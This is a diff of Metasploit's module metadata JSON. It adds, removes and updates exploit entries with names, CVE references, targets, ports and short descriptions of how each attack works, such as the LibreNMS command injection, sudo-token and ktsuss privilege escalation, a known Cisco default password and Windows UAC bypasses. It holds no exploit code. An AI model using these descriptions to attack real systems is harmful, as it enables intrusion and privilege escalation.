"exploit/linux/http/dcos_marathon", @@ -53472,6 +53747,56 @@ }, "needs_cleanup": null }, + "exploit_linux/http/librenms_collectd_cmd_inject": { + "name": "LibreNMS Collectd Command Injection", + "fullname": "exploit/linux/http/librenms_collectd_cmd_inject", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2019-07-15", + "type": "exploit", + "author": [ + "Eldar Marcussen", + "Shelby Pace" + ], + "description": "This module exploits a command injection vulnerability in the\n Collectd graphing functionality in LibreNMS.\n\n The `to` and `from` parameters used to define the range for\n a graph are sanitized using the `mysqli_escape_real_string()`\n function, which permits backticks. These parameters are used\n as part of a shell command that gets executed via the `passthru()`\n function, which can result in code execution.", + "references": [ + "CVE-2019-10669", + "URL-https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/" + ], + "platform": "Unix", + "arch": "cmd", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux" + ], + "mod_time": "2019-08-13 13:39:15 +0000", + "path": "/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb", + "is_install_path": true, + "ref_name": "linux/http/librenms_collectd_cmd_inject", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "needs_cleanup": null + }, "exploit_linux/http/lifesize_uvc_ping_rce": { "name": "LifeSize UVC Authenticated RCE via Ping", "fullname": "exploit/linux/http/lifesize_uvc_ping_rce", @@ -57084,6 +57409,56 @@ }, "needs_cleanup": true }, + "exploit_linux/http/ubiquiti_airos_file_upload": { + "name": "Ubiquiti airOS Arbitrary File Upload", + "fullname": "exploit/linux/http/ubiquiti_airos_file_upload", + "aliases": [ + "exploit/linux/ssh/ubiquiti_airos_file_upload" + ], + "rank": 600, + "disclosure_date": "2016-02-13", + "type": "exploit", + "author": [ + "93c08539", + "wvu " + ], + "description": "This module exploits a pre-auth file upload to install a new root user\n to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys.\n\n FYI, /etc/{passwd,dropbear/authorized_keys} will be overwritten.\n /etc/persistent/rc.poststart will be overwritten if PERSIST_ETC is true.\n\n This method is used by the \"mf\" malware infecting these devices.", + "references": [ + "EDB-39701", + "URL-https://hackerone.com/reports/73480" + ], + "platform": "Unix", + "arch": "cmd", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Ubiquiti airOS < 5.6.2" + ], + "mod_time": "2019-08-22 11:27:32 +0000", + "path": "/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb", + "is_install_path": true, + "ref_name": "linux/http/ubiquiti_airos_file_upload", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": null + }, "exploit_linux/http/ueb_api_rce": { "name": "Unitrends UEB http api remote code execution", "fullname": "exploit/linux/http/ueb_api_rce", @@ -58910,6 +59285,49 @@ }, "needs_cleanup": true }, + "exploit_linux/local/ktsuss_suid_priv_esc": { + "name": "ktsuss suid Privilege Escalation", + "fullname": "exploit/linux/local/ktsuss_suid_priv_esc", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2011-08-13", + "type": "exploit", + "author": [ + "John Lightsey", + "bcoles " + ], + "description": "This module attempts to gain root privileges by exploiting\n a vulnerability in ktsuss versions 1.4 and prior.\n\n The ktsuss executable is setuid root and does not drop\n privileges prior to executing user specified commands,\n resulting in command execution with root privileges.\n\n This module has been tested successfully on:\n\n ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64); and\n ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64).", + "references": [ + "CVE-2011-2921", + "URL-https://www.openwall.com/lists/oss-security/2011/08/13/2", + "URL-https://security.gentoo.org/glsa/201201-15", + "URL-https://github.com/bcoles/local-exploits/blob/master/CVE-2011-2921/ktsuss-lpe.sh" + ], + "platform": "Linux", + "arch": "x86, x64, armle, aarch64, ppc, mipsle, mipsbe", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Auto" + ], + "mod_time": "2019-09-02 13:31:30 +0000", + "path": "/modules/exploits/linux/local/ktsuss_suid_priv_esc.rb", + "is_install_path": true, + "ref_name": "linux/local/ktsuss_suid_priv_esc", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": true + }, "exploit_linux/local/lastore_daemon_dbus_priv_esc": { "name": "lastore-daemon D-Bus Privilege Escalation", "fullname": "exploit/linux/local/lastore_daemon_dbus_priv_esc", @@ -59276,6 +59694,53 @@ }, "needs_cleanup": null }, + "exploit_linux/local/ptrace_sudo_token_priv_esc": { + "name": "ptrace Sudo Token Privilege Escalation", + "fullname": "exploit/linux/local/ptrace_sudo_token_priv_esc", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2019-03-24", + "type": "exploit", + "author": [ + "chaignc", + "bcoles " + ], + "description": "This module attempts to gain root privileges by blindly injecting into\n the session user's running shell processes and executing commands by\n calling `system()`, in the hope that the process has valid cached sudo\n tokens with root privileges.\n\n The system must have gdb installed and permit ptrace.\n\n This module has been tested successfully on:\n\n Debian 9.8 (x64); and\n CentOS 7.4.1708 (x64).", + "references": [ + "EDB-46989", + "URL-https://github.com/nongiach/sudo_inject", + "URL-https://www.kernel.org/doc/Documentation/security/Yama.txt", + "URL-http://man7.org/linux/man-pages/man2/ptrace.2.html", + "URL-https://lwn.net/Articles/393012/", + "URL-https://lwn.net/Articles/492667/", + "URL-https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/", + "URL-https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html" + ], + "platform": "Linux", + "arch": "x86, x64, armle, aarch64, ppc, mipsle, mipsbe", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Auto" + ], + "mod_time": "2019-08-10 07:03:23 +0000", + "path": "/modules/exploits/linux/local/ptrace_sudo_token_priv_esc.rb", + "is_install_path": true, + "ref_name": "linux/local/ptrace_sudo_token_priv_esc", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": true + }, "exploit_linux/local/rc_local_persistence": { "name": "rc.local Persistence", "fullname": "exploit/linux/local/rc_local_persistence", @@ -61925,6 +62390,48 @@ }, "needs_cleanup": null }, + "exploit_linux/snmp/awind_snmp_exec": { + "name": "AwindInc SNMP Service Command Injection", + "fullname": "exploit/linux/snmp/awind_snmp_exec", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2019-03-27", + "type": "exploit", + "author": [ + "Quentin Kaiser " + ], + "description": "This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.\n A valid SNMP read-write community is required to exploit this vulnerability.\n\n The following devices are known to be affected by this issue:\n\n * Crestron Airmedia AM-100 <= version 1.5.0.4\n * Crestron Airmedia AM-101 <= version 2.5.0.12\n * Awind WiPG-1600w <= version 2.0.1.8\n * Awind WiPG-2000d <= version 2.1.6.2\n * Barco wePresent 2000 <= version 2.1.5.7\n * Newline Trucast 2 <= version 2.1.0.5\n * Newline Trucast 3 <= version 2.1.3.7", + "references": [ + "CVE-2017-16709", + "URL-https://github.com/QKaiser/awind-research", + "URL-https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/" + ], + "platform": "Linux,Unix", + "arch": "cmd, armle", + "rport": 161, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Unix In-Memory", + "Linux Dropper" + ], + "mod_time": "2019-09-04 12:04:46 +0000", + "path": "/modules/exploits/linux/snmp/awind_snmp_exec.rb", + "is_install_path": true, + "ref_name": "linux/snmp/awind_snmp_exec", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": null + }, "exploit_linux/ssh/ceragon_fibeair_known_privkey": { "name": "Ceragon FibeAir IP-10 SSH Private Key Exposure", "fullname": "exploit/linux/ssh/ceragon_fibeair_known_privkey", @@ -61966,6 +62473,48 @@ }, "needs_cleanup": null }, + "exploit_linux/ssh/cisco_ucs_scpuser": { + "name": "Cisco UCS Director default scpuser password", + "fullname": "exploit/linux/ssh/cisco_ucs_scpuser", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2019-08-21", + "type": "exploit", + "author": [ + "Pedro Ribeiro " + ], + "description": "This module abuses a known default password on Cisco UCS Director. The 'scpuser'\n has the password of 'scpuser', and allows an attacker to login to the virtual appliance\n via SSH.\n This module has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.\n Note that Cisco also mentions in their advisory that their IMC Supervisor and\n UCS Director Express are also affected by these vulnerabilities, but this module\n was not tested with those products.", + "references": [ + "CVE-2019-1935", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred", + "URL-https://seclists.org/fulldisclosure/2019/Aug/36", + "URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt" + ], + "platform": "Unix", + "arch": "cmd", + "rport": 22, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Cisco UCS Director < 6.7.2.0" + ], + "mod_time": "2019-08-31 00:18:46 +0000", + "path": "/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb", + "is_install_path": true, + "ref_name": "linux/ssh/cisco_ucs_scpuser", + "check": false, + "post_auth": true, + "default_credential": true, + "notes": { + }, + "needs_cleanup": null + }, "exploit_linux/ssh/exagrid_known_privkey": { "name": "ExaGrid Known SSH Key and Default Password", "fullname": "exploit/linux/ssh/exagrid_known_privkey", @@ -62290,56 +62839,6 @@ }, "needs_cleanup": null }, - "exploit_linux/ssh/ubiquiti_airos_file_upload": { - "name": "Ubiquiti airOS Arbitrary File Upload", - "fullname": "exploit/linux/ssh/ubiquiti_airos_file_upload", - "aliases": [ - - ], - "rank": 600, - "disclosure_date": "2016-02-13", - "type": "exploit", - "author": [ - "93c08539", - "wvu " - ], - "description": "This module exploits a pre-auth file upload to install a new root user\n to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys.\n\n FYI, /etc/{passwd,dropbear/authorized_keys} will be overwritten.\n /etc/persistent/rc.poststart will be overwritten if PERSIST_ETC is true.\n\n This method is used by the \"mf\" malware infecting these devices.", - "references": [ - "EDB-39701", - "URL-https://hackerone.com/reports/73480" - ], - "platform": "Unix", - "arch": "cmd", - "rport": 443, - "autofilter_ports": [ - 80, - 8080, - 443, - 8000, - 8888, - 8880, - 8008, - 3000, - 8443 - ], - "autofilter_services": [ - "http", - "https" - ], - "targets": [ - "Ubiquiti airOS < 5.6.2" - ], - "mod_time": "2018-11-16 12:18:28 +0000", - "path": "/modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb", - "is_install_path": true, - "ref_name": "linux/ssh/ubiquiti_airos_file_upload", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "needs_cleanup": null - }, "exploit_linux/ssh/vmware_vdp_known_privkey": { "name": "VMware VDP Known SSH Key", "fullname": "exploit/linux/ssh/vmware_vdp_known_privkey", @@ -65236,6 +65735,46 @@ }, "needs_cleanup": null }, + "exploit_multi/fileformat/zip_slip": { + "name": "Generic Zip Slip Traversal Vulnerability", + "fullname": "exploit/multi/fileformat/zip_slip", + "aliases": [ + + ], + "rank": 0, + "disclosure_date": "2018-06-05", + "type": "exploit", + "author": [ + "Snyk", + "sinn3r " + ], + "description": "This is a generic arbitrary file overwrite technique, which typically results in remote\n command execution. This targets a simple yet widespread vulnerability that has been\n seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.\n The idea is that often archive extraction libraries have no mitigations against\n directory traversal attacks. If an application uses it, there is a risk when opening an\n archive that is maliciously modified, and result in the embedded payload to be written\n to an arbitrary location (such as a web root), and result in remote code execution.", + "references": [ + "URL-https://snyk.io/research/zip-slip-vulnerability" + ], + "platform": "Linux,Unix,Windows", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Manually determined" + ], + "mod_time": "2019-09-12 07:43:54 +0000", + "path": "/modules/exploits/multi/fileformat/zip_slip.rb", + "is_install_path": true, + "ref_name": "multi/fileformat/zip_slip", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": null + }, "exploit_multi/ftp/pureftpd_bash_env_exec": { "name": "Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)", "fullname": "exploit/multi/ftp/pureftpd_bash_env_exec", @@ -66239,6 +66778,64 @@ }, "needs_cleanup": true }, + "exploit_multi/http/cisco_dcnm_upload_2019": { + "name": "Cisco Data Center Network Manager Unauthenticated Remote Code Execution", + "fullname": "exploit/multi/http/cisco_dcnm_upload_2019", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2019-06-26", + "type": "exploit", + "author": [ + "Pedro Ribeiro " + ], + "description": "DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload.\n An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps\n directory and achieve remote code execution as root.\n This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on\n versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct\n directory for the WAR file upload.\n This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should\n work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit\n (see References to understand why).", + "references": [ + "CVE-2019-1619", + "CVE-2019-1620", + "CVE-2019-1622", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex", + "URL-https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb", + "URL-https://seclists.org/fulldisclosure/2019/Jul/7" + ], + "platform": "Java", + "arch": "java", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Automatic", + "Cisco DCNM 11.1(1)", + "Cisco DCNM 11.0(1)", + "Cisco DCNM 10.4(2)" + ], + "mod_time": "2019-08-29 12:42:01 +0000", + "path": "/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb", + "is_install_path": true, + "ref_name": "multi/http/cisco_dcnm_upload_2019", + "check": true, + "post_auth": true, + "default_credential": true, + "notes": { + }, + "needs_cleanup": true + }, "exploit_multi/http/clipbucket_fileupload_exec": { "name": "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload", "fullname": "exploit/multi/http/clipbucket_fileupload_exec", @@ -70015,6 +70612,58 @@ }, "needs_cleanup": null }, + "exploit_multi/http/october_upload_bypass_exec": { + "name": "October CMS Upload Protection Bypass Code Execution", + "fullname": "exploit/multi/http/october_upload_bypass_exec", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2017-04-25", + "type": "exploit", + "author": [ + "Anti Räis", + "Touhid M.Shaikh ", + "SecureLayer7.net" + ], + "description": "This module exploits an Authenticated user with permission to upload and manage media contents can\n upload various files on the server. Application prevents the user from\n uploading PHP code by checking the file extension. It uses black-list based\n approach, as seen in octobercms/vendor/october/rain/src/Filesystem/\n Definitions.php:blockedExtensions().\n This module was tested on October CMS version v1.0.412 on Ubuntu.", + "references": [ + "EDB-41936", + "URL-https://bitflipper.eu/finding/2017/04/october-cms-v10412-several-issues.html", + "CVE-2017-1000119" + ], + "platform": "PHP", + "arch": "php", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "October CMS v1.0.412" + ], + "mod_time": "2019-09-06 09:49:09 +0000", + "path": "/modules/exploits/multi/http/october_upload_bypass_exec.rb", + "is_install_path": true, + "ref_name": "multi/http/october_upload_bypass_exec", + "check": true, + "post_auth": true, + "default_credential": true, + "notes": { + }, + "needs_cleanup": true + }, "exploit_multi/http/op5_license": { "name": "OP5 license.php Remote Command Execution", "fullname": "exploit/multi/http/op5_license", @@ -72394,6 +73043,7 @@ ], "description": "This module exploits a php object instantiation vulnerability that can lead to RCE in\n Shopware. An authenticated backend user could exploit the vulnerability.\n\n The vulnerability exists in the createInstanceFromNamedArguments function, where the code\n insufficiently performs whitelist check which can be bypassed to trigger an object injection.\n\n An attacker can leverage this to deserialize an arbitrary payload and write a webshell to\n the target system, resulting in remote code execution.\n\n Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.", "references": [ + "CVE-2019-12799", "CVE-2017-18357", "URL-https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/" ], @@ -72418,7 +73068,7 @@ "targets": [ "Automatic" ], - "mod_time": "2019-05-17 18:20:59 +0000", + "mod_time": "2019-09-12 16:09:32 +0000", "path": "/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb", "is_install_path": true, "ref_name": "multi/http/shopware_createinstancefromnamedarguments_rce", @@ -82184,50 +82834,6 @@ }, "needs_cleanup": null }, - "exploit_unix/misc/qnx_qconn_exec": { - "name": "QNX qconn Command Execution", - "fullname": "exploit/unix/misc/qnx_qconn_exec", - "aliases": [ - - ], - "rank": 600, - "disclosure_date": "2012-09-04", - "type": "exploit", - "author": [ - "David Odell", - "Mor!p3r", - "bcoles " - ], - "description": "This module uses the qconn daemon on QNX systems to gain a shell.\n\n The QNX qconn daemon does not require authentication and allows\n remote users to execute arbitrary operating system commands.\n\n This module has been tested successfully on QNX Neutrino 6.5.0 (x86)\n and 6.5.0 SP1 (x86).", - "references": [ - "EDB-21520", - "URL-https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos", - "URL-http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html", - "URL-http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html" - ], - "platform": "Unix", - "arch": "cmd", - "rport": 8000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], - "targets": [ - "Automatic" - ], - "mod_time": "2019-01-10 19:19:14 +0000", - "path": "/modules/exploits/unix/misc/qnx_qconn_exec.rb", - "is_install_path": true, - "ref_name": "unix/misc/qnx_qconn_exec", - "check": true, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "needs_cleanup": null - }, "exploit_unix/misc/spamassassin_exec": { "name": "SpamAssassin spamd Remote Command Execution", "fullname": "exploit/unix/misc/spamassassin_exec", @@ -82353,48 +82959,6 @@ }, "needs_cleanup": null }, - "exploit_unix/polycom_hdx_auth_bypass": { - "name": "Polycom Command Shell Authorization Bypass", - "fullname": "exploit/unix/polycom_hdx_auth_bypass", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": "2013-01-18", - "type": "exploit", - "author": [ - "Paul Haas ", - "h00die " - ], - "description": "The login component of the Polycom Command Shell on Polycom HDX\n video endpoints, running software versions 3.0.5 and earlier,\n is vulnerable to an authorization bypass when simultaneous\n connections are made to the service, allowing remote network\n attackers to gain access to a sandboxed telnet prompt without\n authentication. Versions prior to 3.0.4 contain OS command\n injection in the ping command which can be used to execute\n arbitrary commands as root.", - "references": [ - "URL-http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf", - "URL-http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html", - "EDB-24494" - ], - "platform": "Unix", - "arch": "cmd", - "rport": 23, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], - "targets": [ - "Universal" - ], - "mod_time": "2018-11-04 06:14:26 +0000", - "path": "/modules/exploits/unix/polycom_hdx_auth_bypass.rb", - "is_install_path": true, - "ref_name": "unix/polycom_hdx_auth_bypass", - "check": true, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "needs_cleanup": null - }, "exploit_unix/smtp/clamav_milter_blackhole": { "name": "ClamAV Milter Blackhole-Mode Remote Code Execution", "fullname": "exploit/unix/smtp/clamav_milter_blackhole", @@ -124281,7 +124845,8 @@ ], "description": "This module will bypass Windows UAC by hijacking a special key in the Registry under\n the current user hive, and inserting a custom command that will get invoked when\n the Windows Event Viewer is launched. It will spawn a second shell that has the UAC\n flag turned off.\n\n This module modifies a registry key, but cleans up the key once the payload has\n been invoked.\n\n The module does not require the architecture of the payload to match the OS. If\n specifying EXE::Custom your DLL should call ExitProcess() after starting your\n payload in a separate process.", "references": [ - + "URL-https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "URL-https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1" ], "platform": "Windows", "arch": "", @@ -124296,7 +124861,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2018-10-31 16:31:52 +0000", + "mod_time": "2019-09-08 00:42:21 +0000", "path": "/modules/exploits/windows/local/bypassuac_eventvwr.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_eventvwr", @@ -124322,7 +124887,9 @@ ], "description": "This module will bypass Windows 10 UAC by hijacking a special key in the Registry under\n the current user hive, and inserting a custom command that will get invoked when\n the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC\n flag turned off.\n\n This module modifies a registry key, but cleans up the key once the payload has\n been invoked.\n\n The module does not require the architecture of the payload to match the OS. If\n specifying EXE::Custom your DLL should call ExitProcess() after starting your\n payload in a separate process.", "references": [ - + "URL-https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/", + "URL-https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1", + "URL-https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/" ], "platform": "Windows", "arch": "", @@ -124337,7 +124904,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2019-09-08 00:42:21 +0000", "path": "/modules/exploits/windows/local/bypassuac_fodhelper.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_fodhelper", @@ -124367,7 +124934,8 @@ ], "description": "This module will bypass Windows UAC by utilizing the trusted publisher\n certificate through process injection. It will spawn a second shell that\n has the UAC flag turned off. This module uses the Reflective DLL Injection\n technique to drop only the DLL payload binary instead of three separate\n binaries in the standard technique. However, it requires the correct\n architecture to be selected, (use x64 for SYSWOW64 systems also).\n If specifying EXE::Custom your DLL should call ExitProcess() after starting\n your payload in a separate process.", "references": [ - + "URL-http://www.trustedsec.com/december-2010/bypass-windows-uac/", + "URL-http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html" ], "platform": "Windows", "arch": "", @@ -124382,7 +124950,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2017-09-13 22:03:34 +0000", + "mod_time": "2019-09-08 00:42:21 +0000", "path": "/modules/exploits/windows/local/bypassuac_injection.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_injection", @@ -124422,7 +124990,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2019-08-15 18:10:44 +0000", + "mod_time": "2019-09-08 00:42:21 +0000", "path": "/modules/exploits/windows/local/bypassuac_injection_winsxs.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_injection_winsxs", @@ -124494,7 +125062,8 @@ ], "description": "This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under\n the Current User hive, and inserting a custom command that will get invoked when any binary\n (.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable\n to file handler hijacking. When we run slui.exe with changed Registry key\n (HKCU:\\Software\\Classes\\exefile\\shell\\open\\command), it will run our custom command as Admin\n instead of slui.exe.\n\n The module modifies the registry in order for this exploit to work. The modification is\n reverted once the exploitation attempt has finished.\n\n The module does not require the architecture of the payload to match the OS. If\n specifying EXE::Custom your DLL should call ExitProcess() after starting the\n payload in a different process.", "references": [ - + "URL-https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation", + "URL-https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1" ], "platform": "Windows", "arch": "", @@ -124509,7 +125078,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2019-06-26 14:25:32 +0000", + "mod_time": "2019-09-08 00:42:21 +0000", "path": "/modules/exploits/windows/local/bypassuac_sluihijack.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_sluihijack", @@ -124535,7 +125104,8 @@ ], "description": "This module will bypass Windows UAC by utilizing the missing .manifest on the script host\n cscript/wscript.exe binaries.", "references": [ - + "URL-http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html", + "URL-https://github.com/Vozzie/uacscript" ], "platform": "Windows", "arch": "", @@ -124549,7 +125119,7 @@ "targets": [ "Automatic" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2019-09-08 00:42:21 +0000", "path": "/modules/exploits/windows/local/bypassuac_vbs.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_vbs", @@ -124560,6 +125130,100 @@ }, "needs_cleanup": true }, + "exploit_windows/local/bypassuac_windows_store_filesys": { + "name": "Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)", + "fullname": "exploit/windows/local/bypassuac_windows_store_filesys", + "aliases": [ + + ], + "rank": 0, + "disclosure_date": "2019-08-22", + "type": "exploit", + "author": [ + "ACTIVELabs", + "sailay1996", + "timwr" + ], + "description": "This module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool\n is run with the \"autoElevate\" property set to true, however it can be moved to\n a new Windows directory containing a space (C:\\Windows \\System32\\) where, upon\n execution, it will load our payload dll (propsys.dll).", + "references": [ + "URL-https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html", + "URL-https://github.com/sailay1996/UAC_bypass_windows_store", + "URL-https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e" + ], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Automatic" + ], + "mod_time": "2019-09-06 00:52:13 +0000", + "path": "/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb", + "is_install_path": true, + "ref_name": "windows/local/bypassuac_windows_store_filesys", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "SideEffects": [ + "artifacts-on-disk", + "screen-effects" + ] + }, + "needs_cleanup": true + }, + "exploit_windows/local/bypassuac_windows_store_reg": { + "name": "Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry", + "fullname": "exploit/windows/local/bypassuac_windows_store_reg", + "aliases": [ + + ], + "rank": 0, + "disclosure_date": "2019-02-19", + "type": "exploit", + "author": [ + "ACTIVELabs", + "sailay1996", + "bwatters-r7" + ], + "description": "This module exploits a flaw in the WSReset.exe file associated with the Windows\n Store. This binary has autoelevate privs, and it will run a binary file\n contained in a low-privilege registry location. By placing a link to\n the binary in the registry location, WSReset.exe will launch the binary as\n a privileged user.", + "references": [ + "URL-https://www.activecyber.us/activelabs/windows-uac-bypass", + "URL-https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html", + "URL-https://github.com/sailay1996/UAC_bypass_windows_store" + ], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Automatic" + ], + "mod_time": "2019-09-06 02:11:06 +0000", + "path": "/modules/exploits/windows/local/bypassuac_windows_store_reg.rb", + "is_install_path": true, + "ref_name": "windows/local/bypassuac_windows_store_reg", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "SideEffects": [ + "artifacts-on-disk", + "screen-effects" + ] + }, + "needs_cleanup": true + }, "exploit_windows/local/capcom_sys_exec": { "name": "Windows Capcom.sys Kernel Execution Exploit (x64 only)", "fullname": "exploit/windows/local/capcom_sys_exec", @@ -145102,7 +145766,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-05-05 16:30:19 +0000", + "mod_time": "2019-09-04 16:06:44 +0000", "path": "/modules/payloads/stagers/linux/x64/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/meterpreter/reverse_tcp", @@ -145240,7 +145904,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2019-07-29 11:55:51 +0000", + "mod_time": "2019-09-03 09:14:34 +0000", "path": "/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/pingback_bind_tcp", @@ -145340,7 +146004,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-05-05 16:30:19 +0000", + "mod_time": "2019-09-04 16:06:44 +0000", "path": "/modules/payloads/stagers/linux/x64/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/shell/reverse_tcp", @@ -148751,7 +149415,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-10-22 18:20:45 +0000", + "mod_time": "2019-09-03 18:25:26 +0000", "path": "/modules/payloads/singles/php/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "php/meterpreter_reverse_tcp", @@ -152032,7 +152696,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-02-11 18:56:50 +0000", + "mod_time": "2019-09-03 18:25:26 +0000", "path": "/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb", 